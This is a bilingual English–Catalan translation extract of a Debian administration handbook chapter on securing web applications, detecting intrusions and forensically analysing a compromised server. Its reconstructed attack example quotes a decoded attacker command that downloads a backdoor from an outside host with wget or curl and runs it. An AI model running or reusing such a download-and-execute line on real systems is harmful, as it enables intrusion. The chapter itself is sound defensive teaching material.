ca-ES: El caràcter universal de les aplicacions web va portar a la seva proliferació. Diverses s'executen en paral·lel: un webmail, un wiki, algun sistema de treball en grup, fòrums, una galeria de fotos, un blog, etc. Moltes d'aquestes aplicacions es basen en la pila «LAMP» (<emphasis>Linux, Apache, MySQL, PHP</emphasis>). Lamentablement, moltes d'aquestes aplicacions també van ser escrites sense tenir molt en compte els problemes de seguretat. Les dades procedents de fora s'utilitzen massa sovint amb poca o cap validació. Es poden utilitzar valors especialment elaborats per subvertir una crida a una ordre perquè se n'executi una altra. Molts dels problemes més obvis s'han solucionat a mesura que ha passat el temps, però els nous problemes de seguretat apareixen regularment.

en: <emphasis>VOCABULARY</emphasis> SQL injection
ca-ES: <emphasis>VOCABULARI</emphasis> Injecció SQL

en: When a program inserts data into SQL queries in an insecure manner, it becomes vulnerable to SQL injections; this name covers the act of changing a parameter in such a way that the actual query executed by the program is different from the intended one, either to damage the database or to access data that should normally not be accessible. <ulink type="block" url="https://en.wikipedia.org/wiki/SQL_Injection" />
ca-ES: Quan un programa insereix dades en consultes SQL d'una manera insegura, es torna vulnerable a injeccions SQL; aquest nom referencia l'acte de canviar un paràmetre de tal manera que la consulta real executada pel programa és diferent de la pretesa, ja sigui per danyar la base de dades o per accedir a dades que normalment no haurien de ser accessibles. <ulink type="block" url="https://en.wikipedia.org/wiki/SQL_Injection" />

en: <primary>SQL injection</primary>
ca-ES: <primary>injecció SQL</primary>

en: Knowing What To Expect
ca-ES: Saber què esperar

en: A vulnerability in a web application is often used as a starting point for cracking attempts. What follows is a short review of possible consequences.
ca-ES: Una vulnerabilitat en una aplicació web s'utilitza sovint com a punt de partida per a intents d'intrusió. El que segueix és una breu revisió de les possibles conseqüències.

en: <emphasis>QUICK LOOK</emphasis> Filtering HTTP queries
ca-ES: <emphasis>ULLADA RÀPIDA</emphasis> Filtratge de peticions HTTP

en: Apache 2 includes modules allowing filtering incoming HTTP queries. This allows blocking some attack vectors. For instance, limiting the length of parameters can prevent buffer overflows. More generally, one can validate parameters before they are even passed to the web application and restrict access along many criteria. This can even be combined with dynamic firewall updates, so that a client infringing one of the rules is banned from accessing the web server for a given period of time.
ca-ES: Apache 2 inclou mòduls que permeten filtrar consultes HTTP entrants. Això permet bloquejar alguns vectors d'atac. Per exemple, limitar la longitud dels paràmetres pot evitar els desbordaments de memòria. Més en general, es poden validar els paràmetres abans que es passin a l'aplicació web i restringir l'accés segons molts criteris. Això es pot combinar fins i tot amb actualitzacions dinàmiques de tallafocs, de manera que un client que infringeix una de les normes tingui prohibit accedir al servidor web durant un període determinat de temps.

en: Setting up these checks can be a long and cumbersome task, but it can pay off when the web application to be deployed has a dubious track record where security is concerned.
ca-ES: L'establiment d'aquests controls pot ser una tasca llarga i enutjosa, però pot pagar la pena quan l'aplicació web que s'ha de desplegar té un historial discutible en matèria de seguretat.

en: <emphasis>mod-security2</emphasis> (in the <emphasis role="pkg">libapache2-mod-security2</emphasis> package) is the main such module. It even comes with many ready-to-use rules of its own (in the <emphasis role="pkg">modsecurity-crs</emphasis> package) that you can easily enable.
ca-ES: <emphasis>mod-security2</emphasis> (al paquet <emphasis role="pkg">libapache2-mod-security2</emphasis>) és el mòdul principal d'aquest tipus. Fins i tot ve amb moltes regles pròpies llestes per a usar (al paquet <emphasis role="pkg">modsecurity-crs</emphasis>) que es poden activar fàcilment.

en: A more advanced attacker will go beyond that. A disaster scenario could go on in the following fashion: the attacker gains the ability to execute commands as the <literal>www-data</literal> user, but executing a command requires many manipulations. To make their life easier, they install other web applications specially designed to remotely execute many kinds of commands, such as browsing the filesystem, examining permissions, uploading or downloading files, executing commands, and even provide a network shell. Often, the vulnerability will allow running a <command>wget</command> command that will download some malware into <filename>/tmp/</filename>, then executing it. The malware is often downloaded from a foreign website that was previously compromised, in order to cover tracks and make it harder to find out the actual origin of the attack.
ca-ES: Un atacant avançat anirà més enllà. Un escenari desastrós podria anar de la següent manera: l'atacant guanya la capacitat d'executar ordres com l'usuari <literal>www-data</literal>, però executar una ordre requereix moltes manipulacions. Per fer la seva vida més fàcil, instal·len altres aplicacions web especialment dissenyades per executar remotament molts tipus d'ordres, com ara navegar pel sistema de fitxers, examinar permisos, carregar o descarregar arxius, executar ordres, i fins i tot proporcionar un intèrpret de comandes via xarxa. Sovint, la vulnerabilitat permet executar una ordre <command>wget</command> que descarregarà algun programari maliciós a <filename>/tmp/</filename>, per després executar-lo. El programari maliciós es descarrega sovint des d'un lloc web extern compromès anteriorment, per amagar pistes i fer més difícil d'esbrinar l'origen real de l'atac.

en: At this point, the attacker has enough freedom of movement that they often install an IRC <emphasis>bot</emphasis> (a robot that connects to an IRC server and can be controlled by this channel). This bot is often used to share illegal files (unauthorized copies of movies or software, and so on). A determined attacker may want to go even further. The <literal>www-data</literal> account does not allow full access to the machine, and the attacker will try to obtain administrator privileges. Now, this should not be possible, but if the web application was not up-to-date, chances are that the kernel and other programs are outdated too; this sometimes follows a decision from the administrator who, despite knowing about the vulnerability, neglected to upgrade the system since there are no local users. The attacker can then take advantage of this second vulnerability to get root access.
ca-ES: En aquest punt, l'atacant té prou llibertat de moviments que sovint instal·la un <emphasis>bot</emphasis> d'IRC (un robot que connecta a un servidor d'IRC i que pot ser controlat per aquest canal). Aquest bot s'utilitza sovint per compartir arxius il·legals (còpies no autoritzades de pel·lícules o programari, etc.). Un atacant determinat pot voler anar encara més lluny. El compte <literal>www-data</literal> no permet l'accés complet a la màquina, i l'atacant intentarà obtenir privilegis d'administrador. Ara bé, això no hauria de ser possible, però si l'aplicació web no estava actualitzada, les possibilitats són que el nucli i altres programes també estan obsolets; això a vegades deriva d'una decisió de l'administrador que, malgrat saber sobre la vulnerabilitat, ignorar actualitzar el sistema, ja que no hi ha usuaris locals. L'atacant pot aprofitar-se d'aquesta segona vulnerabilitat per obtenir accés de superusuari.

en: <emphasis>VOCABULARY</emphasis> Privilege escalation
ca-ES: <emphasis>VOCABULARI</emphasis> Escalada de privilegis

en: This term covers anything that can be used to obtain more permissions than a given user should normally have. The <command>sudo</command> program is designed for precisely the purpose of giving administrative rights to some users. But the same term is also used to describe the act of an attacker exploiting a vulnerability to obtain undue rights.
ca-ES: Aquest terme cobreix qualsevol cosa que es pugui utilitzar per obtenir més permisos dels que un usuari donat normalment hauria de tenir. El programa <command>sudo</command> està dissenyat precisament amb el propòsit de donar drets administratius a alguns usuaris. Però el mateix terme també s'utilitza per descriure l'acte d'un atacant que explota una vulnerabilitat per obtenir drets indeguts.

en: This is a nightmare scenario which can be prevented by several measures. The next few sections describe some of these measures.
ca-ES: Es tracta d'un escenari de malson que pot evitar-se amb diverses mesures. Les següents seccions descriuen algunes d'aquestes mesures.

en: Choosing the Software Wisely
ca-ES: Triar el programari sàviament

en: <emphasis>VOCABULARY</emphasis> Security audit
ca-ES: <emphasis>VOCABULARI</emphasis> Auditoria de seguretat

en: A security audit is the process of thoroughly reading and analyzing the source code of some software, looking for potential security vulnerabilities it could contain. Such audits are usually proactive and they are conducted to ensure a program meets certain security requirements.
ca-ES: Una auditoria de seguretat és el procés exhaustiu de lectura i anàlisi del codi font d'algun programari buscant possibles vulnerabilitats de seguretat que podria contenir. Aquestes auditories solen ser proactives i es duen a terme per assegurar que un programa compleix certs requisits de seguretat.

en: In the free software world, there is generally ample room for choice, and choosing one piece of software over another should be a decision based on the criteria that apply locally. More features imply an increased risk of a vulnerability hiding in the code; picking the most advanced program for a task may actually be counter-productive, and a better approach is usually to pick the simplest program that meets the requirements.
ca-ES: En el món del programari lliure hi ha un ampli marge d'elecció, i triar una peça de programari sobre una altra hauria de ser una decisió basada en els criteris que s'apliquen localment. Més característiques impliquen un major risc d'una vulnerabilitat amagada en el codi; triar el programa més avançat per a una tasca pot ser contraproduent, i un millor enfocament és normalment triar el programa més simple que compleix els requisits.

en: <emphasis>VOCABULARY</emphasis> Zero-day exploit
ca-ES: <emphasis>VOCABULARI</emphasis> Explotació de dia zero

en: A <emphasis>zero-day exploit</emphasis> attack is hard to prevent; the term covers a vulnerability that is not yet known to the authors of the program.
ca-ES: Un atac de «<emphasis>zero-day exploit</emphasis>» o “explotació de dia zero” és difícil d'evitar; el terme cobreix una vulnerabilitat que encara no és coneguda pels autors del programa.

en: Managing a Machine as a Whole
ca-ES: Gestió d'una màquina com un tot

en: Most Linux distributions install by default a number of Unix services and many tools. In many cases, these services and tools are not required for the actual purposes for which the administrator set up the machine. As a general guideline in security matters, unneeded software is best uninstalled. Indeed, there is no point in securing an FTP server, if a vulnerability in a different, unused service can be used to get administrator privileges on the whole machine.
ca-ES: La majoria de distribucions de Linux instal·len per defecte una sèrie de serveis Unix i moltes eines. En molts casos, aquests serveis i eines no són necessàries per als propòsits reals per als quals l'administrador va configurar la màquina. Com a directriu general en qüestions de seguretat, el programari no necessari és millor si està desinstal·lat. De fet, no té cap sentit assegurar un servidor FTP, si una vulnerabilitat en un altre servei no utilitzat es pot utilitzar per obtenir privilegis d'administrador en tota la màquina.

en: By the same reasoning, firewalls will often be configured to only allow access to services that are meant to be publicly accessible.
ca-ES: Amb el mateix raonament, els tallafocs sovint es configuraran per permetre només l'accés als serveis que estan destinats a ser accessibles públicament.

en: Current computers are powerful enough to allow hosting several services on the same physical machine. From an economic viewpoint, such a possibility is interesting: only one computer to administrate, lower energy consumption, and so on. From the security point of view, however, such a choice can be a problem. One compromised service can bring access to the whole machine, which in turn compromises the other services hosted on the same computer. This risk can be mitigated by isolating the services. This can be attained either with virtualization (each service being hosted in a dedicated virtual machine or container), or with AppArmor/SELinux (each service daemon having an adequately designed set of permissions).
ca-ES: Els ordinadors actuals són prou potents per permetre l'allotjament de diversos serveis en la mateixa màquina física. Des d'un punt de vista econòmic, aquesta possibilitat és interessant: només un ordinador per administrar, un consum d'energia més baix, etc. No obstant això, des del punt de vista de la seguretat, aquesta elecció pot ser un problema. Un servei compromès pot portar accés a tota la màquina, que al seu torn compromet els altres serveis allotjats en el mateix ordinador. Aquest risc es pot mitigar aïllant els serveis. Això es pot aconseguir ja sigui amb virtualització (cada servei està allotjat en una màquina virtual o un contenidor dedicat), o amb AppArmor/SELinux (tenint cada dimoni de servei un conjunt de permisos adequadament dissenyat).

en: Users Are Players
ca-ES: Els usuaris també juguen

en: Discussing security immediately brings to mind protection against attacks by anonymous crackers hiding in the Internet jungle; but an often-forgotten fact is that risks also come from inside: an employee about to leave the company could download sensitive files on the important projects and sell them to competitors, a negligent salesman could leave their desk without locking their session during a meeting with a new prospect, a clumsy user could delete the wrong directory by mistake, and so on.
ca-ES: El debat sobre la seguretat ens porta immediatament al cap la protecció contra els atacs de les «crackers» anònims que s'amaguen en la jungla d'Internet; però un fet que sovint s'oblida és que els riscos també venen de dins: un empleat que està a punt de sortir de l'empresa podria descarregar arxius sensibles dels projectes importants i vendre'ls a competidors; un venedor negligent podria deixar el seu escriptori sense tancar la sessió durant una reunió amb un nou prospecte; un usuari maldestre podria eliminar el directori equivocat per error, etc.

en: The response to these risks can involve technical solutions: no more than the required permissions should be granted to users, and regular backups are a must. But in many cases, the appropriate protection is going to involve training users to avoid the risks.
ca-ES: La resposta a aquests riscos pot implicar solucions tècniques: no s'han de concedir més dels permisos requerits als usuaris i les còpies de seguretat regulars són una obligació. Però en molts casos, la protecció adequada implicarà la formació dels usuaris per a evitar riscos.

en: <emphasis>QUICK LOOK</emphasis> <emphasis role="pkg">autolog</emphasis>
ca-ES: <emphasis>ULLADA RÀPIDA</emphasis><emphasis role="pkg">autolog</emphasis>

en: The <emphasis role="pkg">autolog</emphasis> package provides a program that automatically disconnects inactive users after a configurable delay. It also allows killing user processes that persist after a session ends, thereby preventing users from running daemons.
ca-ES: El paquet <emphasis role="pkg">autolog</emphasis> proporciona un programa que desconnecta automàticament els usuaris inactius després d'un retard configurable. També permet matar els processos d'usuari que persisteixen després d'un final de sessió, impedint així que els usuaris puguin executar dimonis.

en: Physical Security
ca-ES: Seguretat física

en: There is no point in securing the services and networks if the computers themselves are not protected. Important data deserve being stored on hot-swappable hard disks in RAID arrays, because hard disks fail eventually and data availability is a must. But if any pizza delivery boy can enter the building, sneak into the server room and run away with a few selected hard disks, an important part of security is not fulfilled. Who can enter the server room? Is access monitored? These questions deserve consideration (and an answer) when physical security is being evaluated.
ca-ES: No té sentit assegurar els serveis i les xarxes si els propis ordinadors no estan protegits. Les dades importants mereixen ser emmagatzemades en discs durs d'intercanvi en calent en matrius RAID, perquè els discs durs fallen eventualment i la disponibilitat de dades és una necessitat. Però si un noi repartidor de pizzes pot entrar a l'edifici, entrar a la sala del servidor i fugir amb uns quants discs durs seleccionats, una part important de la seguretat no es compleix. Qui pot entrar a la sala del servidor? Està controlat l'accés? Aquestes preguntes mereixen consideració (i una resposta) quan s'està avaluant la seguretat física.

en: Physical security also includes taking into consideration the risks for accidents such as fires. This particular risk is what justifies storing the backup media in a separate building, or at least in a fire-proof strongbox.
ca-ES: La seguretat física també inclou tenir en compte els riscos d'accidents com els incendis. Aquest risc particular és el que justifica l'emmagatzematge dels mitjans de còpia de seguretat en un edifici separat, o almenys en una caixa forta a prova de foc.

en: Legal Liability
ca-ES: Responsabilitat legal

en: An administrator is, more or less implicitly, trusted by their users as well as the users of the network in general. They should therefore avoid any negligence that malevolent people could exploit.
ca-ES: Un administrador és, més o menys implícitament, de confiança pels seus usuaris, així com dels usuaris de la xarxa en general. Per tant, hauria d'evitar qualsevol negligència que les persones malèvoles puguin explotar.

en: An attacker taking control of your machine then using it as a forward base (known as a “relay system”) from which to perform other nefarious activities could cause legal trouble for you, since the attacked party would initially see the attack coming from your system, and therefore consider you as the attacker (or as an accomplice). In many cases, the attacker will use your server as a relay to send spam, which shouldn't have much impact (except potentially registration on black lists that could restrict your ability to send legitimate emails), but won't be pleasant, nevertheless. In other cases, more important trouble can be caused from your machine, for instance, denial of service attacks. This will sometimes induce loss of revenue, since the legitimate services will be unavailable and data can be destroyed; sometimes this will also imply a real cost, because the attacked party can start legal proceedings against you. Rights-holders can sue you if an unauthorized copy of a work protected by copyright law is shared from your server, as well as other companies compelled by service level agreements if they are bound to pay penalties following the attack from your machine.
ca-ES: Un atacant que prengui el control de la vostra màquina i després l'utilitzi com a base avançada (conegut com a «relay system» o “sistema de transmissió”) a partir de la qual realitzi altres activitats nefastes podria comportar problemes legals, ja que la part atacada inicialment veuria l'atac procedent del vostre sistema, i per tant podeu ser considerats atacants (o còmplices). En molts casos, l'atacant utilitzarà el vostre servidor com a relé per enviar correu brossa, que no hauria de tenir gaire impacte (excepte el potencial ingrés en llistes negres que podria restringir la vostra capacitat d'enviar correus electrònics legítims), però no serà agradable. En altres casos, es poden causar problemes més importants des de la vostra màquina, per exemple, atacs de denegació de servei. A vegades això provocarà pèrdues d'ingressos, ja que els serveis legítims no estaran disponibles i les dades poden ser destruïts; a vegades això també implicarà un cost real, perquè la part atacada pot iniciar procediments legals contra vós. Els titulars de drets poden demandar-vos si una còpia no autoritzada d'una obra protegida per la llei de drets d'autor és compartida des del vostre servidor, així com altres empreses obligades per acords de nivell de servei si estan obligades a pagar sancions després de l'atac des de la vostra màquina.

en: When these situations occur, claiming innocence is not usually enough; at the very least, you will need convincing evidence showing suspect activity on your system coming from a given IP address. This won't be possible if you neglect the recommendations of this chapter and let the attacker obtain access to a privileged account (root, in particular) and use it to cover their tracks.
ca-ES: Quan es produeixen aquestes situacions, alegar innocència no sol ser suficient; com a mínim, necessitareu proves convincents que mostrin l'activitat sospitosa en el vostre sistema procedent d'una adreça IP donada. Això no serà possible si descureu les recomanacions d'aquest capítol i deixeu que l'atacant aconsegueixi accés a un compte privilegiat («root», en particular) i l'utilitzi per amagar les seves traces.

en: Dealing with a Compromised Machine
ca-ES: Tractament d'una màquina compromesa

en: Despite the best intentions and however carefully designed the security policy, an administrator eventually faces an act of hijacking. This section provides a few guidelines on how to react when confronted with these unfortunate circumstances.
ca-ES: Malgrat les millors intencions i malgrat dissenyar acuradament la política de seguretat, un administrador s'enfrontarà eventualment a un acte de “segrest”. Aquesta secció proporciona algunes directrius sobre com reaccionar davant aquestes circumstàncies desafortunades.

en: Detecting and Seeing the Cracker's Intrusion
ca-ES: Detecció i visualització de la intrusió del «cracker»

en: The first step of reacting to cracking is to be aware of such an act. This is not self-evident, especially without an adequate monitoring infrastructure.
ca-ES: El primer pas per a reaccionar davant les esquerdes és ser conscient d'aquest acte. Això no és evident, especialment sense una infraestructura de monitorització adequada.

en: Cracking acts are often not detected until they have direct consequences on the legitimate services hosted on the machine, such as connections slowing down, some users being unable to connect, or any other kind of malfunction. Faced with these problems, the administrator needs to have a good look at the machine and carefully scrutinize what misbehaves. This is usually the time when they discover an unusual process, for instance, one named <literal>apache</literal> instead of the standard <literal>/usr/sbin/apache2</literal>. If we follow that example, the thing to do is to note its process identifier, and check <filename>/proc/<replaceable>pid</replaceable>/exe</filename> to see what program this process is currently running:
ca-ES: Els actes d'intrusió sovint no es detecten fins que tenen conseqüències directes en els serveis legítims allotjats a la màquina, com ara connexions que s'alenteixen, alguns usuaris que no poden connectar-se, o qualsevol altre tipus de disfunció. Davant aquests problemes, l'administrador ha de tenir una bona visió de la màquina i examinar amb cura el que no rutlla. Aquest és normalment el moment en què es descobreix un procés inusual, per exemple, un d'anomenat <literal>apache</literal> en lloc de l'estàndard <literal>/usr/sbin/apache2</literal>. Si seguim aquest exemple, el que cal fer és observar el seu identificador de procés, i comprovar <filename>/proc/<replaceable>pid</replaceable>/exe</filename> per veure quin programa està executant realment aquest procés:

en: A program installed under <filename>/var/tmp/</filename> and running as the web server? No doubt left, the machine is compromised.
ca-ES: Un programa instal·lat sota <filename>/var/tmp/</filename> i executant-se com a servidor web? No hi ha cap dubte que la màquina està compromesa.

en: This is only one example, but many other hints can ring the administrator's bell:
ca-ES: Aquest és només un exemple, però molts altres suggeriments poden encendre la llumeta de l'administrador:

en: an option to a command that no longer works; the version of the software that the command claims to be doesn't match the version that is supposed to be installed according to <command>dpkg</command>;
ca-ES: una opció d'una ordre que ja no funciona; la versió del programari que l'ordre diu que no coincideix amb la versió que se suposa que s'ha d'instal·lar segons <command>dpkg</command>;

en: a command prompt or a session greeting indicating that the last connection came from an unknown server on another continent;
ca-ES: un missatge d'intèrpret d'ordres o una salutació d'inici de sessió indicant que l'última connexió venia d'un servidor desconegut en un altre continent;

en: errors caused by the <filename>/tmp/</filename> partition being full, which turned out to be full of illegal copies of movies;
ca-ES: errors causats per la partició <filename>/tmp/</filename> que va resultar estar plena de còpies il·legals de pel·lícules;

en: and so on.
ca-ES: etc.

en: Putting the Server Off-Line
ca-ES: Desconnectar el servidor

en: In any but the most exotic cases, the cracking comes from the network, and the attacker needs a working network to reach their targets (access confidential data, share illegal files, hide their identity by using the machine as a relay, and so on). Unplugging the computer from the network will prevent the attacker from reaching these targets, if they haven't managed to do so yet.
ca-ES: Tret dels casos més exòtics, la intrusió prové de la xarxa, i l'atacant necessita una xarxa funcional per aconseguir els seus objectius (accés a dades confidencials, compartició d'arxius il·legals, amagar la identitat mitjançant l'ús de la màquina com a relé, etc.). Si encara no ho han aconseguit, desconnectar l'ordinador de la xarxa impedirà que l'atacant arribi a aquests objectius.

en: This may only be possible if the server is physically accessible. When the server is hosted in a hosting provider's data center halfway across the country, or if the server is not accessible for any other reason, it is usually a good idea to start by gathering some important information (see <xref linkend="sect.keeping-everything-that-could-be-used-as-evidence" />, <xref linkend="sect.forensic-analysis" /> and <xref linkend="sect.reconstituting-the-attack-scenario" />), then isolating that server as much as possible by shutting down as many services as possible (usually, everything but <command>sshd</command>). This case is still awkward, since one can't rule out the possibility of the attacker having SSH access like the administrator has; this makes it harder to “clean” the machines.
ca-ES: Això només pot ser possible si el servidor és físicament accessible. Quan el servidor està allotjat en un centre de dades d'un proveïdor d'allotjament a l'altre costat del país, o si el servidor no és accessible per cap altra raó, normalment és una bona idea començar recopilant informació important (vegeu <xref linkend="sect.keeping-everything-that-could-be-used-as-evidence" />, <xref linkend="sect.forensic-analysis" /> i <xref linkend="sect.reconstituting-the-attack-scenario" />), per després aïllar aquest servidor tant com sigui possible mitjançant el tancament de tots els serveis possibles (normalment tots excepte <command>sshd</command>). Aquest cas encara és incòmode, ja que no es pot descartar la possibilitat que l'atacant tingui accés a SSH com té l'administrador; això fa més difícil “netejar” les màquines.

en: Keeping Everything that Could Be Used as Evidence
ca-ES: Mantenir tot el que es pugui utilitzar com a evidència

en: Understanding the attack and/or engaging legal action against the attackers requires taking copies of all the important elements; this includes the contents of the hard disk, a list of all running processes, and a list of all open connections. The contents of the RAM could also be used, but it is rarely used in practice.
ca-ES: Comprendre l'atac i/o emprendre accions legals contra els atacants requereix fer còpies de tots els elements importants; això inclou el contingut del disc dur, una llista de tots els processos en execució, i una llista de totes les connexions obertes. El contingut de la RAM també es podria utilitzar, però rarament s'utilitza en la pràctica.

en: In the heat of action, administrators are often tempted to perform many checks on the compromised machine; this is usually not a good idea. Every command is potentially subverted and can erase pieces of evidence. The checks should be restricted to the minimal set (<command>netstat -tupan</command> for network connections, <command>ps auxf</command> for a list of processes, <command>ls -alR /proc/[0-9]*</command> for a little more information on running programs), and every performed check should carefully be written down.
ca-ES: En la intensitat del moment, els administradors sovint es veuen temptats de realitzar moltes comprovacions a la màquina compromesa; això normalment no és una bona idea. Tota ordre està potencialment subvertida i pot esborrar evidències. Les comprovacions s'han de restringir al conjunt mínim (<command>netstat -tupan</command> per a les connexions de xarxa,<command>ps auxf</command> per a una llista de processos,<command>ls -alR /proc/[0-9]*</command> per a una mica més d'informació sobre els programes en execució), i cada comprovació realitzada s'ha de documentar amb cura.

en: <emphasis>CAUTION</emphasis> Hot analysis
ca-ES: <emphasis>COMPTE</emphasis> Anàlisi en calent

en: While it may seem tempting to analyze the system as it runs, especially when the server is not physically reachable, this is best avoided: quite simply you can't trust the programs currently installed on the compromised system. It is quite possible for a subverted <command>ps</command> command to hide some processes, or for a subverted <command>ls</command> to hide files; sometimes even the kernel is compromised!
ca-ES: Tot i que pot semblar temptador analitzar el sistema tal com funciona, especialment quan el servidor no és físicament accessible, és millor evitar-ho: simplement no es pot confiar en els programes instal·lats en el sistema compromès. És bastant possible que una ordre <command>ps</command> subvertida amagui alguns processos, o que un subvertit <command>ls</command> amagui fitxers; de vegades fins i tot el nucli està compromès!

en: If such a hot analysis is still required, care should be taken to only use known-good programs. A good way to do that would be to have a rescue CD with pristine programs, or a read-only network share. However, even those countermeasures may not be enough if the kernel itself is compromised.
ca-ES: Si tot i així es necessita una anàlisi en calent, s'hauria de tenir cura d'utilitzar només programes confiables. Una bona manera de fer-ho seria tenir un CD de rescat amb programes impoluts, o un espai compartit de xarxa de només lectura. No obstant això, fins i tot aquestes contramesures poden no ser suficients si el nucli mateix està compromès.

en: Once the “dynamic” elements have been saved, the next step is to store a complete image of the hard-disk. Making such an image is impossible if the filesystem is still evolving, which is why it must be remounted read-only. The simplest solution is often to halt the server brutally (after running <command>sync</command>) and reboot it on a rescue CD. Each partition should be copied with a tool such as <command>dd</command>; these images can be sent to another server (possibly with the very convenient <command>nc</command> tool). Another possibility may be even simpler: just get the disk out of the machine and replace it with a new one that can be reformatted and reinstalled.
ca-ES: Un cop s'han salvat els elements “dinàmics”, el següent pas és emmagatzemar una imatge completa del disc dur. Fer una imatge així és impossible si el sistema de fitxers encara està evolucionant, i per això ha de ser remuntat només de lectura. La solució més simple és sovint aturar el servidor de cop (després d'executar <command>sync</command>) i reiniciar-lo amb un CD de rescat. Cada partició s'ha de copiar amb una eina com <command>dd</command>; aquestes imatges es poden enviar a un altre servidor (possiblement amb la molt convenient eina <command>nc</command>). Una altra possibilitat pot ser fins i tot més simple: simplement treure el disc de la màquina i substituir-lo per un altre de nou que pugui ser reformatat i reinstal·lat.

en: Re-installing
ca-ES: Reinstal·lació

en: The server should not be brought back on line without a complete reinstallation. If the compromise was severe (if administrative privileges were obtained), there is almost no other way to be sure that we get rid of everything the attacker may have left behind (particularly <emphasis>backdoors</emphasis>). Of course, all the latest security updates must also be applied so as to plug the vulnerability used by the attacker. Ideally, analyzing the attack should point at this attack vector, so one can be sure of actually fixing it; otherwise, one can only hope that the vulnerability was one of those fixed by the updates.
ca-ES: El servidor no s'ha de tornar a posar en línia sense una reinstal·lació completa. Si el compromís era sever (si s'obtenien privilegis administratius), gairebé no hi ha una altra manera d'assegurar-se que ens desfem de tot el que l'atacant podia haver deixat (particularment «<emphasis>backdoors</emphasis>» o “portes del darrera, amagades”). Per descomptat, també han d'aplicar-se totes les últimes actualitzacions de seguretat per a tapar la vulnerabilitat utilitzada per l'atacant. Idealment, analitzar l'atac hauria d'apuntar al vector d'atac, de manera que es pot estar segur de solucionar-lo; en cas contrari, només es pot esperar que la vulnerabilitat fos una de les arreglades per les actualitzacions.

en: Forensic Analysis
ca-ES: Anàlisi forense

en: Now that the service has been restored, it is time to have a closer look at the disk images of the compromised system in order to understand the attack vector. When mounting these images, care should be taken to use the <literal>ro,nodev,noexec,noatime</literal> options so as to avoid changing the contents (including timestamps of access to files) or running compromised programs by mistake.
ca-ES: Ara que el servei ha estat restaurat, és hora de tenir una mirada més estreta a les imatges en disc del sistema compromès per tal d'entendre el vector d'atac. Quan es munten aquestes imatges, s'ha de tenir cura d'utilitzar les opcions <literal>ro,nodev,noexec,noatime</literal> per evitar canviar el contingut (incloent les marques horàries d'accés als fitxers) o executar per error programes compromesos.

en: Retracing an attack scenario usually involves looking for everything that was modified and executed:
ca-ES: Resseguir un escenari d'atac sol implicar buscar tot el que es va modificar i executar:

en: <filename>.bash_history</filename> files often provide for a very interesting read;
ca-ES: els fitxers <filename>.bash_history</filename> sovint proporcionen una lectura molt interessant;

en: so does listing files that were recently created, modified or accessed;
ca-ES: com també ho és la llista dels fitxers que s'han creat, modificat o accedit recentment;

en: the <command>strings</command> command helps identifying programs installed by the attacker, by extracting text strings from a binary;
ca-ES: l'ordre <command>strings</command> ajuda a identificar programes instal·lats per l'atacant, mitjançant l'extracció de cadenes de text d'un binari;

en: the log files in <filename>/var/log/</filename> often allow reconstructing a chronology of events;
ca-ES: els fitxers de registre de <filename>/var/log/</filename> sovint permeten reconstruir una cronologia dels esdeveniments;

en: special-purpose tools also allow restoring the contents of potentially deleted files, including log files that attackers often delete.
ca-ES: Certes eines específiques també permeten restaurar el contingut de fitxers potencialment eliminats, incloent-hi fitxers de registre que els atacants sovint eliminen.

en: Reconstituting the Attack Scenario
ca-ES: Reconstrucció de l'escenari d'atac

en: All the elements collected during the analysis should fit together like pieces in a jigsaw puzzle; the creation of the first suspect files is often correlated with logs proving the breach. A real-world example should be more explicit than long theoretical ramblings.
ca-ES: Tots els elements recollits durant l'anàlisi haurien d'ajustar-se com peces en un trencaclosques; la creació dels primers fitxers sospitosos sovint està correlacionada amb registres que demostren la ruptura. Un exemple en el món real hauria de ser més explícit que les llargues elucubracions teòriques.

en: The following log is an extract from an Apache <filename>access.log</filename>:
ca-ES: El següent registre és un extracte d'un <filename>access.log</filename> d'Apache:

en: Decoding this long URL leads to understanding that the attacker managed to run some PHP code, namely: <command>system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &amp;")</command>. Indeed, a <filename>bd</filename> file was found in <filename>/tmp/</filename>. Running <command>strings /mnt/tmp/bd</command> returns, among other strings, <literal>PsychoPhobia Backdoor is starting...</literal>. This really looks like a backdoor.
ca-ES: La descodificació d'aquest llarg URL porta a entendre que l'atacant va aconseguir executar algun codi PHP, és a dir: <command>system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &amp;")</command>. De fet, es va trobar un fitxer <filename>bd</filename> a <filename>/tmp/</filename>. Executant <command>strings /mnt/tmp/bd</command> retorna, entre altres cadenes, <literal>PsychoPhobia Backdoor is starting...</literal>. Això sembla realment una porta del darrere.

en: Some time later, this access was used to download, install and run an IRC <emphasis>bot</emphasis> that connected to an underground IRC network. The bot could then be controlled via this protocol and instructed to download files for sharing. This program even has its own log file:
ca-ES: Un temps més tard, aquest accés es va utilitzar per descarregar, instal·lar i executar un <emphasis>bot</emphasis> d'IRC que connectava a una xarxa IRC clandestina. El bot es podia controlar a través d'aquest protocol i se li va donar instruccions per descarregar fitxers per compartir. Aquest programa fins i tot té el seu propi fitxer de registre:

en: These traces show that two video files have been stored on the server by way of the 82.50.72.202 IP address.
ca-ES: Aquestes traces mostren que s'han emmagatzemat dos fitxers de vídeo al servidor a través de l'adreça IP 82.50.72.202.

en: In parallel, the attacker also downloaded a pair of extra files, <filename>/tmp/pt</filename> and <filename>/tmp/loginx</filename>. Running these files through <command>strings</command> leads to strings such as <foreignphrase>Shellcode placed at 0x%08lx</foreignphrase> and <foreignphrase>Now wait for suid shell...</foreignphrase>. These look like programs exploiting local vulnerabilities to obtain administrative privileges. Did they reach their target? In this case, probably not, since no files seem to have been modified after the initial breach.
ca-ES: En paral·lel, l'atacant també va descarregar un parell de fitxers addicionals, <filename>/tmp/pt</filename> i <filename>/tmp/loginx</filename>. Executant aquests fitxers a través de <command>strings</command> condueix a cadenes com <foreignphrase>Shellcode placed at 0x%08lx</foreignphrase> i <foreignphrase>Now wait for suid shell...</foreignphrase>. Aquests semblen programes que exploten vulnerabilitats locals per obtenir privilegis administratius. Aconseguiren el seu objectiu? En aquest cas, probablement no, ja que sembla que no s'ha modificat cap arxiu després de la intrusió inicial.

en: In this example, the whole intrusion has been reconstructed, and it can be deduced that the attacker has been able to take advantage of the compromised system for about three days; but the most important element in the analysis is that the vulnerability has been identified, and the administrator can be sure that the new installation really does fix the vulnerability.
